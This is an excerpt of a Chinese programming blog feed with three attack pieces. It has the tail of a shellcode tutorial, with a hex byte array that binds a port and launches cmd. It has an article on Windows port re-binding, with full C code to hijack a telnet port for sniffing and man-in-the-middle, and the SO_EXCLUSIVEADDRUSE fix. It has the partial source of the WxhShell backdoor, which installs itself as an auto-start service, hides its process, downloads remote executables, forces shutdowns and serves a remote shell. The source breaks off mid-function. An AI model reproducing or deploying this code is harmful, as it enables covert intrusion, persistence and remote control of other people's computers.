<p><br><font face=宋体 size=2>这下简单了，把ShellCode从开始到结束粘贴下来，删掉多于的字符，把空格替换成&#8217;\x&#8217;，就得到重用端口，突破防火墙的ShellCode如下：<br><br>char ShellCode[] = <br>"\x55\x83\xEC\x40\x8B\xEC\xC7\x45\x04\xB8\x1B\xE4\x77\xC7\x45\x08\xDA\x41\xA2\x71\xC7\x45\x12\x01\x5A\xA2\x71"<br>"\xC7\x45\x16\x8D\x3F\xA2\x71\xC7\x45\x20\xCE\x3E\xA2\x71\xC7\x45\x24\xE2\x5D\xA2\x71\xC7\x45\x28\x8D\x86\xA2"<br>"\x71\x81\xEC\x00\x02\x00\x00\x54\x68\x02\x02\x00\x00\xFF\x55\x08\x81\xC4\x00\x02\x00\x00\x6A\x00\x6A\x00\x6A"<br>"\x00\x6A\x06\x6A\x01\x6A\x02\xFF\x55\x12\x8B\xD8\xB8\x01\x00\x00\x00\x50\x8B\xF4\x6A\x04\x56\x6A\x04\x68\xFF"<br>"\xFF\x00\x00\x53\xFF\x55\x16\x68\x7F\x00\x00\x01\x68\x02\x00\x00\x15\x8B\xF4\x6A\x10\x56\x53\xFF\x55\x20\x6A"<br>"\x02\x53\xFF\x55\x24\x6A\x10\x54\x56\x53\xFF\x55\x28\x8B\xD8\x81\xEC\x80\x00\x00\x00\x8D\x3C\x24\x33\xC0\x68"<br>"\x80\x00\x00\x00\x59\xF3\xAA\x8D\x3C\x24\x66\xC7\x47\x2C\x01\x01\x89\x5F\x38\x89\x5F\x3C\x89\x5F\x40\xC7\x45"<br>"\x32\x63\x6D\x64\x00\x8D\x44\x24\x44\x50\x57\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x8D\x45\x32\x50"<br>"\x6A\x00\xFF\x55\x04";<br><br>在Main函数里面，嵌入如下代码就可以将ShellCode当成函数执行：<br><br>lea eax, ShellCode;<br>&nbsp;&nbsp;call eax<br>测试一下，哈哈，还是成功了。如图9所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/156/li9N86457xvI.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br>&nbsp;<br>图9</font></p>
<p><br><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; 这样我们就亲自打造出了一个ShellCode，而且这个ShellCode在外面是绝对找不到的哦，呵呵，知道为什么吗？因为这个ShellCode根本不能用啊！（豆大的汗珠从WTF后脑勺上滴下&#8230;&#8230;）一是因为使用的是XP SP0的函数绝对地址，只能在XP SP0下用，如果是2000，或者XP的另外版本，都会失败；二是绑定的是127.0.0.1，其实需要对方的实际IP地址。要解决这两个问题，一是需要动态的获得函数地址，来把我们这个ShellCode改为通用的；二是加入对方IP和端口的定制，这样打造出的才是完美的ShellCode</font></p>
<br><br>
<img src ="http://www.cppblog.com/niewenlong/aggbug/28551.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-07-22 03:22 <a href="http://www.cppblog.com/niewenlong/archive/2007/07/22/28551.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> 端口复用技术与实现代码 </title><link>http://www.cppblog.com/niewenlong/archive/2007/07/22/28537.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Sat, 21 Jul 2007 16:14:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/07/22/28537.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/28537.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/07/22/28537.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/28537.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/28537.html</trackback:ping><description><![CDATA[在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
<p>　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); </p>
<p>　　saddr.sin_family = AF_INET; </p>
<p>　　saddr.sin_addr.s_addr = htonl(INADDR_ANY); </p>
<p>　　bind(s,(SOCKADDR *)&amp;saddr,sizeof(saddr)); </p>
<p>　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 </p>
<p>　　这意味着什么？意味着可以进行如下的攻击： </p>
<p>　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 </p>
<p>　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到） </p>
<p>　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。 </p>
<p>　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　 </p>
<p>　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。</p>
<p>　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。 </p>
<p>　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。 </p>
<p>　　#include <br>　　#include <br>　　#include <br>　　#include 　　 <br>　　DWORD WINAPI ClientThread(LPVOID lpParam);　　 <br>　　int main() <br>　　{ <br>　　WORD wVersionRequested; <br>　　DWORD ret; <br>　　WSADATA wsaData; <br>　　BOOL val; <br>　　SOCKADDR_IN saddr; <br>　　SOCKADDR_IN scaddr; <br>　　int err; <br>　　SOCKET s; <br>　　SOCKET sc; <br>　　int caddsize; <br>　　HANDLE mt; <br>　　DWORD tid;　　 <br>　　wVersionRequested = MAKEWORD( 2, 2 ); <br>　　err = WSAStartup( wVersionRequested, &amp;wsaData ); <br>　　if ( err != 0 ) { <br>　　printf("error!WSAStartup failed!\n"); <br>　　return -1; <br>　　} <br>　　saddr.sin_family = AF_INET; <br>　　 <br>　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了 </p>
<p>　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <br>　　saddr.sin_port = htons(23); <br>　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <br>　　{ <br>　　printf("error!socket failed!\n"); <br>　　return -1; <br>　　} <br>　　val = TRUE; <br>　　//SO_REUSEADDR选项就是可以实现端口重绑定的 <br>　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&amp;val,sizeof(val))!=0) <br>　　{ <br>　　printf("error!setsockopt failed!\n"); <br>　　return -1; <br>　　} <br>　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码； <br>　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽 <br>　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击 </p>
<p>　　if(bind(s,(SOCKADDR *)&amp;saddr,sizeof(saddr))==SOCKET_ERROR) <br>　　{ <br>　　ret=GetLastError(); <br>　　printf("error!bind failed!\n"); <br>　　return -1; <br>　　} <br>　　listen(s,2); <br>　　while(1) <br>　　{ <br>　　caddsize = sizeof(scaddr); <br>　　//接受连接请求 <br>　　sc = accept(s,(struct sockaddr *)&amp;scaddr,&amp;caddsize); <br>　　if(sc!=INVALID_SOCKET) <br>　　{ <br>　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&amp;tid); <br>　　if(mt==NULL) <br>　　{ <br>　　printf("Thread Creat Failed!\n"); <br>　　break; <br>　　} <br>　　} <br>　　CloseHandle(mt); <br>　　} <br>　　closesocket(s); <br>　　WSACleanup(); <br>　　return 0; <br>　　}　　 <br>　　DWORD WINAPI ClientThread(LPVOID lpParam) <br>　　{ <br>　　SOCKET ss = (SOCKET)lpParam; <br>　　SOCKET sc; <br>　　unsigned char buf[4096]; <br>　　SOCKADDR_IN saddr; <br>　　long num; <br>　　DWORD val; <br>　　DWORD ret; <br>　　//如果是隐藏端口应用的话，可以在此处加一些判断 <br>　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　 <br>　　saddr.sin_family = AF_INET; <br>　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <br>　　saddr.sin_port = htons(23); <br>　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <br>　　{ <br>　　printf("error!socket failed!\n"); <br>　　return -1; <br>　　} <br>　　val = 100; <br>　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&amp;val,sizeof(val))!=0) <br>　　{ <br>　　ret = GetLastError(); <br>　　return -1; <br>　　} <br>　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&amp;val,sizeof(val))!=0) <br>　　{ <br>　　ret = GetLastError(); <br>　　return -1; <br>　　} <br>　　if(connect(sc,(SOCKADDR *)&amp;saddr,sizeof(saddr))!=0) <br>　　{ <br>　　printf("error!socket connect failed!\n"); <br>　　closesocket(sc); <br>　　closesocket(ss); <br>　　return -1; <br>　　} <br>　　while(1) <br>　　{ <br>　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。 <br>　　//如果是嗅探内容的话，可以再此处进行内容分析和记录 <br>　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。 <br>　　num = recv(ss,buf,4096,0); <br>　　if(num&gt;0) <br>　　send(sc,buf,num,0); <br>　　else if(num==0) <br>　　break; <br>　　num = recv(sc,buf,4096,0); <br>　　if(num&gt;0) <br>　　send(ss,buf,num,0); <br>　　else if(num==0) <br>　　break; <br>　　} <br>　　closesocket(ss); <br>　　closesocket(sc); <br>　　return 0 ; <br>　　} </p>
<p><br>==========================================================</p>
<p>下边附上一个代码，，WXhSHELL</p>
<p>==========================================================</p>
<p>#include "stdafx.h"</p>
<p>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;windows.h&gt;<br>#include &lt;winsock2.h&gt;<br>#include &lt;winsvc.h&gt;<br>#include &lt;urlmon.h&gt;</p>
<p>#pragma comment (lib, "Ws2_32.lib")<br>#pragma comment (lib, "urlmon.lib")</p>
<p>#define MAX_USER&nbsp;&nbsp;&nbsp;&nbsp; 100&nbsp; // 最大客户端连接数<br>#define BUF_SOCK&nbsp;&nbsp;&nbsp;&nbsp; 200&nbsp; // sock buffer<br>#define KEY_BUFF&nbsp;&nbsp;&nbsp;&nbsp; 255&nbsp; // 输入 buffer</p>
<p>#define REBOOT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; // 重启<br>#define SHUTDOWN&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; // 关机<br>&nbsp;<br>#define DEF_PORT&nbsp;&nbsp;&nbsp;&nbsp; 5000 // 监听端口</p>
<p>#define REG_LEN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 16&nbsp;&nbsp; // 注册表键长度<br>#define SVC_LEN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 80&nbsp;&nbsp; // NT服务名长度</p>
<p>// 从dll定义API<br>typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);<br>typedef LONG&nbsp; (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);<br>typedef BOOL&nbsp; (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);<br>typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);</p>
<p>// wxhshell配置信息<br>struct WSCFG {<br>&nbsp;&nbsp;&nbsp; int&nbsp; ws_port;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 监听端口<br>&nbsp;&nbsp;&nbsp; char ws_passstr[REG_LEN]; // 口令<br>&nbsp;&nbsp;&nbsp; int&nbsp; ws_autoins;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 安装标记, 1=yes 0=no<br>&nbsp;&nbsp;&nbsp; char ws_regname[REG_LEN]; // 注册表键名<br>&nbsp;&nbsp;&nbsp; char ws_svcname[REG_LEN]; // 服务名<br>&nbsp;&nbsp;&nbsp; char ws_svcdisp[SVC_LEN]; // 服务显示名<br>&nbsp;&nbsp;&nbsp; char ws_svcdesc[SVC_LEN]; // 服务描述信息<br>&nbsp;&nbsp;&nbsp; char ws_passmsg[SVC_LEN]; // 密码输入提示信息<br>&nbsp;int&nbsp; ws_downexe;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 下载执行标记, 1=yes 0=no<br>&nbsp;char ws_fileurl[SVC_LEN]; // 下载文件的 url, "<a href="http://xxx/file.exe">http://xxx/file.exe</a>"<br>&nbsp;char ws_filenam[SVC_LEN]; // 下载后保存的文件名</p>
<p>};</p>
<p>// default Wxhshell configuration<br>struct WSCFG wscfg={DEF_PORT,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "xuhuanlingzhe",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Wxhshell",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Wxhshell",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "WxhShell Service",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Wrsky Windows CmdShell Service",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Please Input Your Password: ",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"<a href="http://www.wrsky.com/wxhshell.exe">http://www.wrsky.com/wxhshell.exe</a>",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"Wxhshell.exe"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; };</p>
<p>// 消息定义模块<br>char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 <a href="http://www.wrsky.com/n/rMake">http://www.wrsky.com\n\rMake</a> by 虚幻灵者\n\r";<br>char *msg_ws_prompt="\n\r? for help\n\r#&gt;";<br>char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#&gt;http://.../server.exe\n\r";<br>char *msg_ws_ext="\n\rExit.";<br>char *msg_ws_end="\n\rQuit.";<br>char *msg_ws_boot="\n\rReboot...";<br>char *msg_ws_poff="\n\rShutdown...";<br>char *msg_ws_down="\n\rSave to ";</p>
<p>char *msg_ws_err="\n\rErr!";<br>char *msg_ws_ok="\n\rOK!";</p>
<p>char ExeFile[MAX_PATH];<br>int nUser = 0;<br>HANDLE handles[MAX_USER];<br>int OsIsNt;</p>
<p>SERVICE_STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serviceStatus;<br>SERVICE_STATUS_HANDLE&nbsp;&nbsp; hServiceStatusHandle;</p>
<p>// 函数声明<br>int Install(void);<br>int Uninstall(void);<br>int DownloadFile(char *sURL, SOCKET wsh);<br>int Boot(int flag);<br>void HideProc(void);<br>int GetOsVer(void);<br>int Wxhshell(SOCKET wsl);<br>void TalkWithClient(void *cs);<br>int CmdShell(SOCKET sock);<br>int StartFromService(void);<br>int StartWxhshell(LPSTR lpCmdLine);</p>
<p>VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );<br>VOID WINAPI NTServiceHandler( DWORD fdwControl );</p>
<p>// 数据结构和表定义<br>SERVICE_TABLE_ENTRY DispatchTable[] =<br>{<br>&nbsp;{wscfg.ws_svcname, NTServiceMain},<br>&nbsp;{NULL, NULL}<br>};</p>
<p>// 自我安装<br>int Install(void)<br>{<br>&nbsp;&nbsp;&nbsp; char svExeFile[MAX_PATH];<br>&nbsp;&nbsp;&nbsp; HKEY key;<br>&nbsp;&nbsp;&nbsp; strcpy(svExeFile,ExeFile);</p>
<p>&nbsp;// 如果是win9x系统，修改注册表设为自启动<br>&nbsp;if(!OsIsNt) {<br>&nbsp;&nbsp;if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&amp;key)==ERROR_SUCCESS) {<br>&nbsp;&nbsp;&nbsp;RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));<br>&nbsp;&nbsp;&nbsp;RegCloseKey(key);<br>&nbsp;&nbsp;&nbsp;if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&amp;key)==ERROR_SUCCESS) {<br>&nbsp;&nbsp;&nbsp;&nbsp;RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));<br>&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(key);<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;}<br>&nbsp;&nbsp;&nbsp; &nbsp;}<br>&nbsp;}<br>&nbsp;else {</p>
<p>&nbsp;&nbsp;// 如果是NT以上系统，安装为系统服务<br>&nbsp;&nbsp;SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);<br>&nbsp;&nbsp;if (schSCManager!=0)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;SC_HANDLE schService = CreateService<br>&nbsp;&nbsp;&nbsp;(<br>&nbsp;&nbsp;&nbsp;&nbsp;schSCManager,<br>&nbsp;&nbsp;&nbsp;&nbsp;wscfg.ws_svcname,<br>&nbsp;&nbsp;&nbsp;&nbsp;wscfg.ws_svcdisp,<br>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_ALL_ACCESS,<br>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,<br>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_AUTO_START,<br>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_ERROR_NORMAL,<br>&nbsp;&nbsp;&nbsp;&nbsp;svExeFile,<br>&nbsp;&nbsp;&nbsp;&nbsp;NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;NULL<br>&nbsp;&nbsp;&nbsp;);<br>&nbsp;&nbsp;&nbsp;if (schService!=0)<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(schService);<br>&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(schSCManager);<br>&nbsp;&nbsp;&nbsp;&nbsp;strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");<br>&nbsp;&nbsp;&nbsp;&nbsp;strcat(svExeFile,wscfg.ws_svcname);<br>&nbsp;&nbsp;&nbsp;&nbsp;if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&amp;key)==ERROR_SUCCESS) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(key);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;CloseServiceHandle(schSCManager);<br>&nbsp;&nbsp;}<br>&nbsp;}</p>
<p>&nbsp;return 1;<br>}</p>
<p>// 自我卸载<br>int Uninstall(void)<br>{<br>&nbsp;&nbsp;&nbsp; HKEY key;</p>
<p>&nbsp;if(!OsIsNt) {<br>&nbsp;&nbsp;if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&amp;key)==ERROR_SUCCESS) {<br>&nbsp;&nbsp;&nbsp;RegDeleteValue(key,wscfg.ws_regname);<br>&nbsp;&nbsp;&nbsp;RegCloseKey(key);<br>&nbsp;&nbsp;&nbsp;if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&amp;key)==ERROR_SUCCESS) {<br>&nbsp;&nbsp;&nbsp;&nbsp;RegDeleteValue(key,wscfg.ws_regname);<br>&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(key);<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;else {</p>
<p>&nbsp;&nbsp;SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);<br>&nbsp;&nbsp;if (schSCManager!=0)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);<br>&nbsp;&nbsp;&nbsp;if (schService!=0)<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;if(DeleteService(schService)!=0) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(schService);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(schSCManager);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(schService);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;CloseServiceHandle(schSCManager);<br>&nbsp;&nbsp;}<br>&nbsp;}</p>
<p>&nbsp;return 1;<br>}</p>
<p>// 从指定url下载文件<br>int DownloadFile(char *sURL, SOCKET wsh)<br>{<br>&nbsp;&nbsp;&nbsp; HRESULT hr;<br>&nbsp;char seps[]= "/";<br>&nbsp;char *token;<br>&nbsp;char *file;<br>&nbsp;char myURL[MAX_PATH];<br>&nbsp;char myFILE[MAX_PATH];</p>
<p>&nbsp;strcpy(myURL,sURL);<br>&nbsp;&nbsp;&nbsp; token=strtok(myURL,seps);<br>&nbsp; &nbsp;while(token!=NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; file=token;<br>&nbsp;&nbsp;&nbsp;&nbsp; token=strtok(NULL,seps);<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;GetCurrentDirectory(MAX_PATH,myFILE);<br>&nbsp;strcat(myFILE, "\\");<br>&nbsp;strcat(myFILE, file);<br>&nbsp;&nbsp;&nbsp; send(wsh,myFILE,strlen(myFILE),0);<br>&nbsp;send(wsh,"...",3,0);<br>&nbsp;hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);<br>&nbsp;&nbsp;&nbsp; if(hr==S_OK)<br>&nbsp;&nbsp;return 0;<br>&nbsp;else<br>&nbsp;&nbsp;return 1;</p>
<p>}</p>
<p>// 系统电源模块<br>int Boot(int flag)<br>{<br>&nbsp;&nbsp;&nbsp; HANDLE hToken;<br>&nbsp;&nbsp;&nbsp; TOKEN_PRIVILEGES tkp;</p>
<p>&nbsp;&nbsp;&nbsp; if(OsIsNt) {<br>&nbsp;&nbsp;&nbsp;&nbsp; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&amp;tkp.Privileges[0].Luid);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tkp.PrivilegeCount = 1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AdjustTokenPrivileges(hToken, FALSE, &amp;tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);<br>&nbsp;&nbsp;if(flag==REBOOT) {<br>&nbsp;&nbsp;&nbsp;if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;else {<br>&nbsp;&nbsp;&nbsp;if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else {<br>&nbsp;&nbsp;if(flag==REBOOT) {<br>&nbsp;&nbsp;&nbsp;if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;else {<br>&nbsp;&nbsp;&nbsp;if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;}<br>&nbsp;}</p>
<p>&nbsp;return 1;<br>}</p>
<p>// win9x进程隐藏模块<br>void HideProc(void)<br>{</p>
<p>&nbsp;&nbsp;&nbsp; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");<br>&nbsp;&nbsp;&nbsp; if ( hKernel != NULL )<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FreeLibrary(hKernel);<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;return;<br>}</p>
<p>// 获取操作系统版本<br>int GetOsVer(void)<br>{<br>&nbsp;&nbsp;&nbsp; OSVERSIONINFO winfo;<br>&nbsp;&nbsp;&nbsp; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);<br>&nbsp;&nbsp;&nbsp; GetVersionEx(&amp;winfo);<br>&nbsp;&nbsp;&nbsp; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)<br>&nbsp;&nbsp;&nbsp; &nbsp;return 1;<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp; &nbsp;return 0;<br>}</p>
<p>// 客户端句柄模块<br>int Wxhshell(SOCKET wsl)<br>{<br>&nbsp;&nbsp;&nbsp; SOCKET wsh;<br>&nbsp;&nbsp;&nbsp; struct sockaddr_in client;<br>&nbsp;&nbsp;&nbsp; DWORD myID;</p>
